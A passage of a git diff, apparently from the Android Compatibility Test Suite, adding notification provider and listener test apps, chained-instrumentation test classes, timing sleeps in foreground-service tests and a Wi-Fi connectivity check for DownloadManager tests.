+    private val mBinder = MyNotificationUriAccessService()
+    override fun onBind(intent: Intent): IBinder? {
+        return mBinder
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
new file mode 100644
index 0000000..19c7d82
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.content.ComponentName
+import android.service.notification.NotificationListenerService
+
+class TestNotificationListener : NotificationListenerService() {
+    var isConnected = false
+
+    override fun onListenerConnected() {
+        super.onListenerConnected()
+        instance = this
+        isConnected = true
+    }
+
+    override fun onListenerDisconnected() {
+        super.onListenerDisconnected()
+        isConnected = false
+    }
+
+    companion object {
+        var instance: TestNotificationListener? = null
+            private set
+        val componentName: ComponentName by lazy {
+            val javaClass = TestNotificationListener::class.java
+            ComponentName(javaClass.getPackage().name, javaClass.name)
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
new file mode 100644
index 0000000..26e69d7
--- /dev/null
+++ b/tests/app/NotificationProvider/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NotificationProvider",
+    defaults: ["cts_support_defaults"],
+    srcs: ["**/*.java", "**/*.kt"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    platform_apis: true,
+    sdk_version: "current",
+}
diff --git a/tests/app/NotificationProvider/AndroidManifest.xml b/tests/app/NotificationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..09ae4b0
--- /dev/null
+++ b/tests/app/NotificationProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.test.notificationprovider">
+    <application android:label="Notification Provider">
+        <activity android:name=".RichNotificationActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name=".AssetFileProvider"
+            android:authorities="com.android.test.notificationprovider.provider"
+            android:exported="false"
+            android:grantUriPermissions="true"
+            />
+
+    </application>
+</manifest>
diff --git a/tests/app/NotificationProvider/assets/background7.png b/tests/app/NotificationProvider/assets/background7.png
new file mode 100644
index 0000000..20c22f7
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background7.png
Binary files differ
diff --git a/tests/app/NotificationProvider/assets/background8.png b/tests/app/NotificationProvider/assets/background8.png
new file mode 100644
index 0000000..a7a593d
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background8.png
Binary files differ
diff --git a/tests/app/NotificationProvider/res/layout/activity.xml b/tests/app/NotificationProvider/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationProvider/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/tests/app/NotificationProvider/res/values/strings.xml b/tests/app/NotificationProvider/res/values/strings.xml
new file mode 100644
index 0000000..266ea53
--- /dev/null
+++ b/tests/app/NotificationProvider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <string name="activity_description">This app has a provider and posts notifications</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
new file mode 100644
index 0000000..af10f1b
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+    override fun onCreate(): Boolean {
+        return true
+    }
+
+    override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+        val assets = context?.assets
+        val filename = uri.lastPathSegment
+        if (mode == "r" && assets != null && filename != null) {
+            return assets.openFd(filename)
+        }
+        return super.openAssetFile(uri, mode)
+    }
+
+    override fun query(
+        uri: Uri,
+        projection: Array<String>?,
+        selection: String?,
+        selectionArgs: Array<String>?,
+        sortOrder: String?
+    ): Cursor? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun getType(uri: Uri): String? {
+        return null
+    }
+
+    override fun insert(uri: Uri, values: ContentValues?): Uri? {
+        throw UnsupportedOperationException()
+    }
+
+    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
+        throw UnsupportedOperationException()
+    }
+
+    override fun update(
+        uri: Uri,
+        values: ContentValues?,
+        selection: String?,
+        selectionArgs: Array<String>?
+    ): Int {
+        throw UnsupportedOperationException()
+    }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
new file mode 100644
index 0000000..4197760
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.app.Activity
+import android.app.Notification
+import android.app.NotificationChannel
+import android.app.NotificationManager
+import android.content.Context
+import android.os.Bundle
+
+/**
+ * Used by NotificationManagerTest for testing policy around content uris.
+ */
+class RichNotificationActivity : Activity() {
+    companion object {
+        const val NOTIFICATION_CHANNEL_ID = "NotificationManagerTest"
+        const val EXTRA_ACTION = "action"
+        const val ACTION_SEND_7 = "send-7"
+        const val ACTION_SEND_8 = "send-8"
+        const val ACTION_CANCEL_7 = "cancel-7"
+        const val ACTION_CANCEL_8 = "cancel-8"
+    }
+
+    enum class NotificationPreset(val id: Int) {
+        Preset7(7),
+        Preset8(8);
+
+        fun build(context: Context): Notification {
+            val extras = Bundle()
+            extras.putString(Notification.EXTRA_BACKGROUND_IMAGE_URI,
+                    "content://com.android.test.notificationprovider.provider/background$id.png")
+            return Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                    .setContentTitle("Rich Notification #$id")
+                    .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                    .addExtras(extras)
+                    .build()
+        }
+    }
+
+    public override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(R.layout.activity)
+        when (intent?.extras?.getString(EXTRA_ACTION)) {
+            ACTION_SEND_7 -> sendNotification(NotificationPreset.Preset7)
+            ACTION_SEND_8 -> sendNotification(NotificationPreset.Preset8)
+            ACTION_CANCEL_7 -> cancelNotification(NotificationPreset.Preset7)
+            ACTION_CANCEL_8 -> cancelNotification(NotificationPreset.Preset8)
+            else -> {
+                // reset both
+                cancelNotification(NotificationPreset.Preset7)
+                cancelNotification(NotificationPreset.Preset8)
+            }
+        }
+        finish()
+    }
+
+    private val notificationManager by lazy { getSystemService(NotificationManager::class.java)!! }
+
+    private fun sendNotification(preset: NotificationPreset) {
+        notificationManager.createNotificationChannel(NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                "Notifications", NotificationManager.IMPORTANCE_DEFAULT))
+        notificationManager.notify(preset.id, preset.build(this))
+    }
+
+    private fun cancelNotification(preset: NotificationPreset) {
+        notificationManager.cancel(preset.id)
+    }
+}
\ No newline at end of file
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 65cb4ab..b56ebc3 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -46,6 +46,7 @@
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
 
     <application android:label="Android TestCase"
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
index 52dbc58..b800c5b 100644
--- a/tests/app/app/src/android/app/stubs/LocalAlertService.java
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -15,24 +15,22 @@
  */
 package android.app.stubs;
 
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
 import android.app.Service;
 import android.content.Intent;
 import android.graphics.Color;
 import android.graphics.Point;
-import android.os.Bundle;
 import android.os.IBinder;
-import android.util.Log;
 import android.view.View;
 import android.view.WindowManager;
 import android.widget.TextView;
 
-import static android.view.Gravity.LEFT;
-import static android.view.Gravity.TOP;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
-import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
-
 public class LocalAlertService extends Service {
     public static final String COMMAND_SHOW_ALERT = "show";
     public static final String COMMAND_HIDE_ALERT = "hide";
@@ -48,6 +46,7 @@
         } else if (COMMAND_HIDE_ALERT.equals(action)) {
             hideAlertWindow(mAlertWindow);
             mAlertWindow = null;
+            stopSelf();
         }
         return START_NOT_STICKY;
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalForegroundService.java b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
index a8f4f48..12cae5d 100644
--- a/tests/app/app/src/android/app/stubs/LocalForegroundService.java
+++ b/tests/app/app/src/android/app/stubs/LocalForegroundService.java
@@ -32,7 +32,7 @@
 public class LocalForegroundService extends LocalService {
 
     private static final String TAG = "LocalForegroundService";
-    protected static final String EXTRA_COMMAND = "LocalForegroundService.command";
+    public static final String EXTRA_COMMAND = "LocalForegroundService.command";
     public static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
     public static String ACTION_START_FGS_RESULT =
             "android.app.stubs.LocalForegroundService.RESULT";
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 28611c5..489ea95 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -44,6 +44,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
@@ -201,6 +202,8 @@
      */
     @Test
     public void testFgsLocationWithAppOps() throws Exception {
+        // Sleep 12 seconds to let BAL grace period expire.
+        SystemClock.sleep(12000);
         // Start a foreground service with location
         startSimpleService();
         // Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 711d0aa..e907063 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -173,7 +173,8 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+            // Sleep 12 second to let BAL grace period expire.
+            SystemClock.sleep(12000);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -228,7 +229,8 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_TOP,
                     new Integer(PROCESS_CAPABILITY_ALL));
-
+            // Sleep 12 second to let BAL grace period expire.
+            SystemClock.sleep(12000);
             // From package1, start FGSL in package2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
@@ -249,7 +251,8 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+            // Sleep 12 second to let BAL grace period expire.
+            SystemClock.sleep(12000);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -332,6 +335,8 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_TOP,
                     new Integer(PROCESS_CAPABILITY_ALL));
+            // Sleep 12 second to let BAL grace period expire.
+            SystemClock.sleep(12000);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -363,7 +368,8 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
+            // Sleep 12 second to let BAL grace period expire.
+            SystemClock.sleep(12000);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 09165c1..c931d58 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -811,9 +811,9 @@
     public void testKillingPidsOnImperceptible() throws Exception {
         // Start remote service process
         final String remoteProcessName = STUB_PACKAGE_NAME + ":remote";
-        Intent intent = new Intent("android.app.REMOTESERVICE");
-        intent.setPackage(STUB_PACKAGE_NAME);
-        mTargetContext.startService(intent);
+        Intent remoteIntent = new Intent("android.app.REMOTESERVICE");
+        remoteIntent.setPackage(STUB_PACKAGE_NAME);
+        mTargetContext.startService(remoteIntent);
         Thread.sleep(WAITFOR_MSEC);
 
         RunningAppProcessInfo remote = getRunningAppProcessInfo(remoteProcessName);
@@ -826,7 +826,7 @@
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle enable light");
             }
-            intent = new Intent(Intent.ACTION_MAIN);
+            final Intent intent = new Intent(Intent.ACTION_MAIN);
             intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             mTargetContext.startActivity(intent);
@@ -897,6 +897,7 @@
             triggerIdle(false);
             toggleScreenOn(true);
             appStartedReceiver.close();
+            mTargetContext.stopService(remoteIntent);
 
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle disable light");
diff --git a/tests/app/src/android/app/cts/BaseChainedInstrumentation.java b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
new file mode 100644
index 0000000..d265263
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+
+/**
+ * Base class supporting "chained" instrumentation: start another instrumentation while
+ * running the current instrumentation.
+ */
+public class BaseChainedInstrumentation extends Instrumentation {
+    static final String EXTRA_MESSENGER = "messenger";
+
+    final ComponentName mNestedInstrComp;
+
+    /** Constructor */
+    public BaseChainedInstrumentation(ComponentName nestedInstrComp) {
+        mNestedInstrComp = nestedInstrComp;
+    }
+
+    @Override
+    public void onCreate(Bundle arguments) {
+        super.onCreate(arguments);
+        final String proc = getProcessName();
+        final String appProc = Application.getProcessName();
+        if (!proc.equals(appProc)) {
+            throw new RuntimeException(String.format(
+                "getProcessName()s mismatch. Instr=%s App=%s", proc, appProc));
+        }
+        final Bundle result = new Bundle();
+        result.putBoolean(proc, true);
+        if (mNestedInstrComp != null) {
+            // We're in the main process.
+            // Because the Context#startInstrumentation doesn't support result watcher,
+            // we'd have to craft a private way to relay the result back.
+            final Handler handler = new Handler(Looper.myLooper(), msg -> {
+                final Bundle nestedResult = (Bundle) msg.obj;
+                result.putAll(nestedResult);
+                finish(Activity.RESULT_OK, result);
+                return true;
+            });
+            final Messenger messenger = new Messenger(handler);
+            final Bundle extras = new Bundle();
+            extras.putParcelable(EXTRA_MESSENGER, messenger);
+            getContext().startInstrumentation(mNestedInstrComp, null, extras);
+            scheduleTimeoutCleanup();
+        } else {
+            final Messenger messenger = arguments.getParcelable(EXTRA_MESSENGER);
+            final Message msg = Message.obtain();
+            try {
+                msg.obj = result;
+                messenger.send(msg);
+            } catch (RemoteException e) {
+            } finally {
+                msg.recycle();
+            }
+            finish(Activity.RESULT_OK, result);
+        }
+    }
+
+    private void scheduleTimeoutCleanup() {
+        new Handler(Looper.myLooper()).postDelayed(() -> {
+            Bundle result = new Bundle();
+            result.putString("FAILURE",
+                    "Timed out waiting for sub-instrumentation to complete");
+            finish(Activity.RESULT_CANCELED, result);
+        }, 20 * 1000);
+    }
+}
diff --git a/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
new file mode 100644
index 0000000..0fd22b0
--- /dev/null
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.content.ComponentName;
+
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationFirst extends BaseChainedInstrumentation {
+    static final String PACKAGE_NAME = "android.app.cts";
+    /** Constructor */
+    public ChainedInstrumentationFirst() {
+        super(new ComponentName(PACKAGE_NAME, PACKAGE_NAME + ".ChainedInstrumentationSecond"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
index 1a335c7..ebed475 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
@@ -14,9 +14,14 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.app.cts;
 
-import android.app.Activity;
-
-public class PocActivity extends Activity {
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationSecond extends BaseChainedInstrumentation {
+    /** Constructor */
+    public ChainedInstrumentationSecond() {
+        super(null);
+    }
 }
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index fd9009a..3f6928f 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -18,6 +18,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -30,7 +31,9 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
+import android.net.ConnectivityManager;
 import android.net.Uri;
+import android.net.wifi.WifiManager;
 import android.os.Bundle;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
@@ -89,14 +92,19 @@
     protected Context mContext;
     protected DownloadManager mDownloadManager;
 
+    private WifiManager mWifiManager;
+    private ConnectivityManager mCm;
     private CtsTestServer mWebServer;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mDownloadManager = (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mCm = mContext.getSystemService(ConnectivityManager.class);
         mWebServer = new CtsTestServer(mContext);
         clearDownloads();
+        checkConnection();
     }
 
     @After
@@ -204,6 +212,23 @@
         return getFileData(uri, "_data");
     }
 
+    private void checkConnection() throws Exception {
+        if (!hasConnectedNetwork(mCm)) {
+            Log.d(TAG, "Enabling WiFi to ensure connectivity for this test");
+            runShellCommand("svc wifi enable");
+            runWithShellPermissionIdentity(mWifiManager::reconnect,
+                    android.Manifest.permission.NETWORK_SETTINGS);
+            final long startTime = SystemClock.elapsedRealtime();
+            while (!hasConnectedNetwork(mCm)
+                && (SystemClock.elapsedRealtime() - startTime) < SHORT_TIMEOUT) {
+                Thread.sleep(500);
+            }
+            if (!hasConnectedNetwork(mCm)) {
+                Log.d(TAG, "Unable to connect to any network");
+            }
+        }
+    }
+
     private static String getFileData(Uri uri, String projection) throws Exception {
         final Context context = InstrumentationRegistry.getTargetContext();
         final String[] projections =  new String[] { projection };
@@ -382,6 +407,10 @@
         }.run();
     }
 
+    private static boolean hasConnectedNetwork(final ConnectivityManager cm) {
+        return cm.getActiveNetwork() != null;
+    }
+
     protected void assertSuccessfulDownload(long id, File location) throws Exception {
         Cursor cursor = null;
         try {
diff --git a/tests/app/src/android/app/cts/InstrumentationHelperService.java b/tests/app/src/android/app/cts/InstrumentationHelperService.java
new file mode 100644
index 0000000..0c4f48d
--- /dev/null
+++ b/tests/app/src/android/app/cts/InstrumentationHelperService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ResultReceiver;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The helper class to start an instrumentation from a different process.
+ */
+public class InstrumentationHelperService extends Service {
+    private static final String ACTION_START_INSTRUMENTATION =
+            "android.app.cts.ACTION_START_INSTRUMENTATION";
+    private static final String EXTRA_INSTRUMENTATIION_NAME = "instrumentation_name";
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        final String action = intent.getAction();
+        if (ACTION_START_INSTRUMENTATION.equals(action)) {
+            final String instrumentationName = intent.getStringExtra(EXTRA_INSTRUMENTATIION_NAME);
+            final ResultReceiver r = intent.getParcelableExtra(Intent.EXTRA_RESULT_RECEIVER);
+
+            boolean result = false;
+            try {
+                startInstrumentation(
+                        ComponentName.unflattenFromString(instrumentationName), null, null);
+                result = true;
+            } catch (SecurityException e) {
+            }
+            r.send(result ? 1 : 0, null);
+        }
+        return START_NOT_STICKY;
+    }
+
+    /**
+     * Start the given instrumentation from this service and return result.
+     */
+    static boolean startInstrumentation(Context context, String instrumentationName)
+            throws InterruptedException {
+        final Intent intent = new Intent(ACTION_START_INSTRUMENTATION);
+        final boolean[] resultHolder = new boolean[1];
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ResultReceiver r = new ResultReceiver(null) {
+            @Override
+            protected void onReceiveResult(int resultCode, Bundle resultData) {
+                resultHolder[0] = resultCode == 1;
+                latch.countDown();
+            }
+        };
+        intent.putExtra(EXTRA_INSTRUMENTATIION_NAME, instrumentationName);
+        intent.putExtra(Intent.EXTRA_RESULT_RECEIVER, r);
+        intent.setClassName("android.app.cts", "android.app.cts.InstrumentationHelperService");
+        context.startService(intent);
+        latch.await();
